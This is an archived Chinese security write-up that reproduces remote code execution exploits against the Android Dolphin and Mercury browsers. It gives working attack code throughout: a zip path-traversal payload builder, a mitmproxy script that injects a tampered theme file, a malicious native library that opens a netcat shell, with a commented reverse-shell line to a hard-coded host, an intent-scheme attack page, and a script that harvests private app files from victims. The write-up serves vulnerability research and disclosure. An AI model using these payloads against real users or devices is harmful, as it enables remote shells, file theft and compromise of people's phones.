# 海豚浏览器与水星浏览器远程代码执行漏洞详解

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2015-08-31T01:44:00Z
Canonical: https://wepostx.com/topics/1007

> 乌云历史资料归档
>
> **原始作者：** 小荷才露尖尖角
> **原始编号：** superkieran-wooyundrops:735
> **原始发布时间：** 2015-08-31 09:44
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

# 0x00 简介

最近国外安全研究人员rotlogix连续曝光了安卓版海豚浏览器（dolphin browser）和水星浏览器（mercury browser）的安全漏洞[1,2]，尽管这两个浏览器在国内并不流行，但其中的远程攻击手法和一系列漏洞组合的利用颇值得玩味，于是对这两个漏洞进行了复现和学习，分享与大家共同进步。

# 0x01 海豚浏览器远程代码执行漏洞

该漏洞可以看作前段时间三星自带Swift输入法远程代码漏洞的延伸，不同之处在于通过中间人攻击patch了so文件，在so文件中的JNI_OnLoad函数中添加恶意代码，当so被加载后有机会实现远程代码执行。此次测试的海豚浏览器版本为V11.4.17。

## 1. 漏洞原理
海豚浏览器允许用户选择并应用主题来改变浏览器的外观，当用户选择新主题下载时，主题文件会被下载

```text
GET https://opsen-static.dolphin-browser.com/resources/themestore/Alonso_P.dwp
```
主题文件实际是一个zip文件，对其重命名后查看内容如下：

![原文图片](/media/2016/06/9c054a201367685e1842097af3ada2cf)

由于海豚浏览器并未对解压的文件进行验证，且安卓系统zip库的默认行为是允许解压文件到所在目录之外，因此通过中间人攻击，修改HTTP请求返回主题文件zip包中的内容，可以实现在海豚浏览器拥有权限的目录写文件。
注意到我们测试的版本与原文有所不同，下载主题文件的链接是https，但其SSL也没有正确实现，因此依然也能通过中间人攻击成功。

## 2. 漏洞利用——在私有目录写文件
漏洞利用需要通过中间人攻击，将手机的流量透明代理到运行mitmproxy的服务器上。首先，利用python制作一个修改后的主题文件，即将同目录下名为1的文件添加到主题文件zip包中，且文件名为../../../../../../data/data/mobi.mgeek.TunnyBrowser/files/this_should_not_exsist

```text
#!python import zipfile zf = zipfile.ZipFile("Alonso_P.dwp", "a") zf.write("1", "../../../../../../data/data/mobi.mgeek.TunnyBrowser/files/this_should_not_exsist") zf.close()
```
修改后的主题文件如下

![原文图片](/media/2016/06/b63321737fabb266eaca8b6163ffd088)

接下来，编写一段mitmproxy的inline script inject_evilso.py，将下载返回的主题文件替换成我们修改后的主题文件。

```text
#!java from libmproxy.protocol.http import HTTPResponse from netlib.odict import ODictCaseless def request(context, flow): if not flow.request.host =="opsen-static.dolphin-browser.com" or not flow.request.path.endswith(".dwp"): return # Build response response = HTTPResponse([1, 1], 200, "OK", ODictCaseless([["Content-Type", "application/zip"]]), "yo!") # Inject theme # Inject theme try: with open("Alonso_P.dwp", "r") as f: modified = f.read() response.content = modified response.headers["Content-Length"] = [len(modified)] f.close() except IOError as e: raise e # Return response # flow.reply(response)
```
使用mitmdump运行脚本

```text
mitmdump -s inject_evilso.py
```
在手机上使用海豚浏览器，下载并应用主题。观察到mitmdump的输出

```text
192.168.8.155 GET https://opsen-static.dolphin-browser.com/resources/themestore/Grassy.dwp << 200 OK 210.39kB
```
此时查看海豚浏览器私有目录，压缩包中放置的恶意文件已经写入成功。

![原文图片](/media/2016/06/134777f865996e81c1376e320dbcda61)

## 3. 漏洞利用——patch so实现代码执行
要将任意文件写升级为代码执行，可以考虑对海豚浏览器二次加载的库进行patch，与Swift输入法漏洞利用过程中patch odex文件所不同，这里选择的是patch上述目录下的libdolphin.so。
首先用ndk编译一个恶意的libdolphin.so

```text
#!c++ #include <stdio.h> #include <jni.h> #include <stdlib.h> #include <unistd.h> #include <android/log.h> #define LOG "heen" #define LOGI(...) __android_log_print(ANDROID_LOG_INFO,LOG,__VA_ARGS__) jint JNICALL JNI_OnLoad(JavaVM* vm, void* reserved) { JNIEnv* env = NULL; jint result = -1; int ret; if ((*vm)->GetEnv(vm, (void**) &env, JNI_VERSION_1_4) != JNI_OK) { return -1; } /* success -- return valid version number */ result = JNI_VERSION_1_4; LOGI("Hello, World"); //ret = system("nc 192.168.8.163 8088|/system/bin/sh|nc 192.168.8.163 9999"); ret = system("nc -ll -p 6666 -e /system/bin/sh"); LOGI("ret value of system is %d",ret); // sleep(1800); return result; }
```
然后按照前面的方法将编译的so文件添加到主题文件压缩包中，

![原文图片](/media/2016/06/642492c1ab8b263c39e7951401b31336)

手机上重新下载主题文件并应用，这将触发mitmdump脚本替换下载返回的主题文件为添加恶意so的主题文件。此时我们结束海豚浏览器，并重新打开，使其有机会加载我们改写的so。logcat将有如下输出，

```text
D/dalvikvm(25522): Trying to load lib /data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so 0x42687bc0 D/dalvikvm(25522): Added shared lib /data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so 0x42687bc0
```
而海豚浏览器也并未崩溃，可以正常浏览网页。用nc连接，patch的恶意代码已经生效

![原文图片](/media/2016/06/1fd232fcbb065e5c910be632cb0b0f56)

# 0x02 水星浏览器远程代码执行漏洞

漏洞首先在于水星浏览器没有正确过滤Intent URI Scheme，这导致恶意网页可以利用Intent Scheme调用私有组件启动水星浏览器实现的web server。而该webserver又对文件名路径校验不严格，导致可通过目录穿越来获取浏览器私有目录下文件或sdcard下的任意文件。测试版本为v3.2.3。

## 1. Intent Scheme未正确过滤
在com.ilegendsoft.mercury.ui.widget.webview.g类中有如下代码

![原文图片](/media/2016/06/205a040b70c071d59657db52f943fc2e)

intent对象在传入startActivity方法前并没有按如下方式进行过滤

```text
// forbid launching activities without BROWSABLE category intent.addCategory("android.intent.category.BROWSABLE"); // forbid explicit call intent.setComponent(null); // forbid intent with selector intent intent.setSelector(null);
```
因此可以通过网页嵌入如下形式的脚本启动任意activity，包括私有activity。

```text
<script>location.href="intent:#Intent;action=android.intent.action.VIEW;component=包名/组件名";</script>
```

## 2. 寻找攻击对象
这种情况一般是寻找私有未导出的activity作为攻击对象。经过逆向分析，可发现未导出activity——com.ilegendsoft.mercury.external.wfm.ui.WFMActivity2被启动时，可打开手机与电脑之间的WiFi文件传输功能。
见WFMActivity2的OnResume方法，

```text
#!java protected void onResume() { super.onResume(); this.mWfmFragment.onServAvailable(); }
```
调用其成员变量mWfmFragment对象的onServAvailable方法，位于com.ilegendsoft.mercury.external.wfm.ui.WFMActivity2.WFMFragment

```text
#!java public void onServAvailable() { if(this.needResumeServer) { this.doStartClick(); }
```
调用doStartClick方法

```text
#!java private void doStartClick() { this.ipAddr = this.mCommonUtil.getLocalIpAddress(true); if(this.ipAddr == null || !this.isWebServAvailable()) { this.mStep2Tv.setText(""); d.c(this.getString(2131165689)); } else { this.updateOnUI(this.ipAddr); this.doBindService(); this.needResumeServer = false; } }
```
见关键的doBindService方法，其实现位于WFMFragement的父类 AbsWFMFragment

```text
#!java protected void doBindService() { this.getActivity().bindService(this.webServIntent, this.servConnection, 1); this.isBound = true; }
```
再看OnCreate方法

```text
#!java public void onCreate(Bundle arg4) { super.onCreate(arg4); this.webServIntent = new Intent(this.getActivity(), WebService.class); }
```
至此，可知WFMActivity2被启动时，同时将启动一个与其绑定的一个WebService，该Service在OnBind方法中打开一个WebServer。

```text
#!java public IBinder onBind(Intent arg2) { this.openWebServer(); return this.mBinder; }
```
该WebServer注册了一些特定的URI路径，实现了下载dodownload、删除dodelete、上传doupload等命令。

![原文图片](/media/2016/06/302d798488912941e9af6615b63cea90)

## 3. 攻击私有组件WFMActivity2
首先编写恶意网页启动WFMActivity2

```text
#!html <html> <head> <meta charset="utf-8" /> <title>Trigger parseUri()</title> </head> <body> <script> location.href="intent:#Intent;SEL;component=com.ilegendsoft.mercury/.external.wfm.ui.WFMActivity2;action=android.intent.action.VIEW;end"; </script> </body> </html>
```
然后用水星浏览器访问该恶意网页，出现如下界面

![原文图片](/media/2016/06/feec3356b8bf73156d7e9409c7fd0cb9)

此时PC端已经能够访问webserver，并具有对手机中sdcard文件上传、下载和删除功能。

![原文图片](/media/2016/06/6aa52410f4d634c7ccecf228e216cc29)

## 4. 目录穿越漏洞
默认情况下只能下载访问sdcard目录，但进一步的漏洞挖掘发现WFMActivity2打开的WebServer还具有目录穿越漏洞，可以通过dodownload和doupload命令以访问../../[程序私有目录] 的形式下载或上传私有目录的文件。
根据HTTPDownHandler中的处理代码，

![原文图片](/media/2016/06/0265811c34f08ae24fb2318d164dfafc)

需要正确设置HTTP请求中的Referer才能进入成功的下载处理分支。

![原文图片](/media/2016/06/fb4d5d68f59c342dd6910cd849744952)

对程序配置文件私有目录打包下载
![原文图片](/media/2016/06/8df7149b6b678ef6a8c5908f5722d140)
 使用doupload命令类似，可以实现上传文件到程序私有目录。

#### 5. 漏洞利用总结
至此，一系列漏洞利用组合可归纳如下：
(1) 通过恶意网页的Intent URI Scheme启动WFMActivity2
(2) 记录使用水星浏览器目标用户的IP地址
(3) 轮询WFMActivity2是否被启动
(4) 利用目录穿越漏洞下载水星浏览器的私有目录文件
附攻击脚本（使用lighttpd）

```text
#!python import os,re,requests def poll(): keyword = 'evil.html' while True: with open("/usr/local/var/log/lighttpd/access.log", 'r') as f: print 'Polling...\n' for line in f.readlines(): if re.search(keyword, line): target = line.split()[0] headers = {'Referer': 'http://%s:8888/'%target} url = 'http://%s:8888/dodownload'%target payload = {'fname': '../../../../data/data/com.ilegendsoft.mercury/shared_prefs/com.ilegendsoft.mercury_preferences.xml'} try: r = requests.get(url, params = payload, headers = headers) print 'Exploiting...\n' print r.status_code, r.content return except Exception as e: continue else: continue if __name__ == '__main__': poll()
```
攻击效果

![原文图片](/media/2016/06/a9a96944c5a154718e887b3afc4b7c9d)

# 0x03 参考

```text
[1] http://rotlogix.com/2015/08/22/remote-code-execution-in-dolphin-browser-for-android/ [2] http://rotlogix.com/2015/08/23/exploiting-the-mercury-browser-for-android/
```

## Replies
